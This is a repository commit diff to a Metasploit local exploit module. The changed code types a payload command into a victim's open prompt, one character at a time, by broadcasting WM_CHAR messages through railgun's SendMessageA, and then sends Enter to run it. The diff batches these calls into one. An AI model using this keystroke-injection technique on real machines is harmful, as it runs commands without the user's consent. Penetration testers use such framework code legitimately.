Concurrent printing of the output no longer makes sense...

bug/bundler_fix
Meatballs 2013-10-05 13:06:27 +01:00
parent 536c3c7b92
commit a843722ae3
1 changed files with 2 additions and 6 deletions

View File

@ -214,16 +214,12 @@ class Metasploit3 < Msf::Exploit::Local
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
multi_rail = []
command.each_char do |c|
print c if command.length < 200
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]]
#client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
end
client.railgun.multi(multi_rail)
print_line
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]]
print_status("Executing command...")
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
client.railgun.multi(multi_rail)
end
def on_request_uri(cli, request)